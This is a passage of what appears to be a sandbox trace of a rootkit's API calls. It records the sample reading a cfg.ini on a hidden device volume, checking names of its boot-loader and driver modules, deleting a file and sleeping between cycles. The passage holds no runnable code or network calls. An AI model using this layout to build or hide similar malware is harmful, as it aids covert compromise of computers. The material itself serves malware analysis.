0xfffffa80034fca60 [0130.011] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c070f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.011] KeLeaveCriticalRegion () [0130.011] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.011] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.011] KeEnterCriticalRegion () [0130.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.011] ExFreePoolWithTag (P=0xfffffa8003c08260, Tag=0x0) [0130.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.011] KeLeaveCriticalRegion () [0130.011] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.011] ReleaseMutex (hMutex=0xf0) returned 1 [0130.011] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.011] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.011] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.011] KeEnterCriticalRegion () [0130.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.011] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.011] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.011] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.011] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.011] IdePortDispatch () returned 0x103 [0130.011] KeWaitForMutexObject () returned 0x0 [0130.012] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.012] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.012] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.012] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.012] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.012] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08fb0 [0130.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.012] KeLeaveCriticalRegion () [0130.012] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.012] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.012] KeEnterCriticalRegion () [0130.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.012] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.012] KeLeaveCriticalRegion () [0130.012] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.012] KeEnterCriticalRegion () [0130.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.012] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.012] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.012] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.012] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.012] IdePortDispatch () returned 0x103 [0130.012] KeWaitForMutexObject () returned 0x0 [0130.013] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.013] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.013] KeLeaveCriticalRegion () [0130.013] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.013] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.013] KeEnterCriticalRegion () [0130.013] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.013] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d0d000 [0130.013] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.013] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.013] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.013] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.013] IdePortDispatch () returned 0x103 [0130.013] KeWaitForMutexObject () returned 0x0 [0130.013] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.013] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.013] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.013] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.013] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.013] IdePortDispatch () returned 0x103 [0130.013] KeWaitForMutexObject () returned 0x0 [0130.013] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.013] KeLeaveCriticalRegion () [0130.013] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.014] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.014] KeEnterCriticalRegion () [0130.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.014] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.014] KeLeaveCriticalRegion () [0130.014] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.014] KeEnterCriticalRegion () [0130.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.014] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.014] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.014] KeLeaveCriticalRegion () [0130.014] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.014] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.014] KeEnterCriticalRegion () [0130.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.014] ExFreePoolWithTag (P=0xfffffa8003c08fb0, Tag=0x0) [0130.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.014] KeLeaveCriticalRegion () [0130.014] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.014] ReleaseMutex (hMutex=0xf0) returned 1 [0130.014] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.014] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.014] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.015] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.015] KeEnterCriticalRegion () [0130.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.015] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.015] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.015] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.015] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.015] IdePortDispatch () returned 0x103 [0130.015] KeWaitForMutexObject () returned 0x0 [0130.015] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.015] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.015] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.015] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.015] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.015] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.015] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.015] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.015] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.015] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.015] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.015] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.015] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.015] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.015] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.015] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.015] KeLeaveCriticalRegion () [0130.015] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.015] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.015] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.015] KeEnterCriticalRegion () [0130.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.015] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.015] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.015] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.015] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.015] IdePortDispatch () returned 0x103 [0130.015] KeWaitForMutexObject () returned 0x0 [0130.016] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.016] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.016] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.016] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.016] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.016] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.016] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.016] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.016] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.016] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.016] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.016] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.016] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.016] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.016] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.016] KeLeaveCriticalRegion () [0130.016] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.016] ReleaseMutex (hMutex=0x100) returned 1 [0130.016] Sleep (dwMilliseconds=0x2bf20) [0130.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70b27c70, dwHighDateTime=0x1d24fa4)) [0130.029] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.029] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.029] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.029] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.029] KeEnterCriticalRegion () [0130.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.029] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.030] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.030] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.030] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.030] IdePortDispatch () returned 0x103 [0130.030] KeWaitForMutexObject () returned 0x0 [0130.030] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.030] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.030] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.030] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.030] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.030] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08fb0 [0130.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.030] KeLeaveCriticalRegion () [0130.030] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.030] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.030] KeEnterCriticalRegion () [0130.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.030] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.030] KeLeaveCriticalRegion () [0130.030] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.030] KeEnterCriticalRegion () [0130.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.030] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.030] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.030] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.030] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.030] IdePortDispatch () returned 0x103 [0130.030] KeWaitForMutexObject () returned 0x0 [0130.030] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.031] KeLeaveCriticalRegion () [0130.031] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.031] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.031] KeEnterCriticalRegion () [0130.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.031] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d10000 [0130.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.031] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.031] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.031] IdePortDispatch () returned 0x103 [0130.031] KeWaitForMutexObject () returned 0x0 [0130.031] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.031] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.031] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.031] IdePortDispatch () returned 0x103 [0130.031] KeWaitForMutexObject () returned 0x0 [0130.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.031] KeLeaveCriticalRegion () [0130.031] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.032] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.032] KeEnterCriticalRegion () [0130.032] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.032] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.032] KeLeaveCriticalRegion () [0130.032] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.032] KeEnterCriticalRegion () [0130.032] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.032] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.032] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.032] KeLeaveCriticalRegion () [0130.032] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.032] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.032] KeEnterCriticalRegion () [0130.032] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.032] ExFreePoolWithTag (P=0xfffffa8003c08fb0, Tag=0x0) [0130.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.032] KeLeaveCriticalRegion () [0130.032] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.032] ReleaseMutex (hMutex=0xf0) returned 1 [0130.032] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.032] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.033] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.033] KeEnterCriticalRegion () [0130.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.033] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.033] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.033] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.033] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.033] IdePortDispatch () returned 0x103 [0130.033] KeWaitForMutexObject () returned 0x0 [0130.033] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.033] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.033] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.033] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.033] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.033] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05270 [0130.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.033] KeLeaveCriticalRegion () [0130.033] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.033] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.033] KeEnterCriticalRegion () [0130.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.033] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.033] KeLeaveCriticalRegion () [0130.033] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.033] KeEnterCriticalRegion () [0130.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.033] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.033] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.033] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.033] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.033] IdePortDispatch () returned 0x103 [0130.034] KeWaitForMutexObject () returned 0x0 [0130.034] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.034] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | 